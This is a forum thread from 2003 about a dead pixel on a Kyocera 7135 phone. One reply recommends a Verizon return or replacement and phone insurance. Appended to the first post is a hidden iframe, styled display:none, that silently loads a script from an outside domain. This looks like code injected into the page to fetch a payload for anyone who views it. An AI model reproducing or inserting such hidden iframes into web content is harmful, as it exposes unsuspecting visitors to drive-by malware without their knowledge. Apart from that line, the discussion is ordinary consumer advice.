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Old 09-16-2003, 12:54 AM
     
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Pixel death...anyone else??

Had my 7135 for about a week and have a dead pixel in the middle of the screen off to the right. It's not horrible, but for sure visible.

Anyone else have pixels die on their phones?

If so what do you think Kyocera's/Verizon's policy is on replacement due to pixel death?

I know certain monitor companies only allow warranty replacements on pixel death if it meets a certain threshold.


Lemme know!<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
 
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Old 09-16-2003, 06:05 AM
     
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That's a sure manufacture's defect. I would get a replacement immediately. In fact if you have had the phone for only a week you are still with Verizon's 14 day window that you can return the phone, and thier 30 warranty returning windows (I think). I would take it back to Verizon and get a replacement through them. They should be able to replace it on the spot or through direct fullfillment where they will FedEx a new phone to you over night (hint get it to them before 4pm and you should have your replacement by noon the next day).
BTW if you don't have insurance on your phone I would get it. 5 bucks a month is a small price to pay on a $500 phone IMHO!
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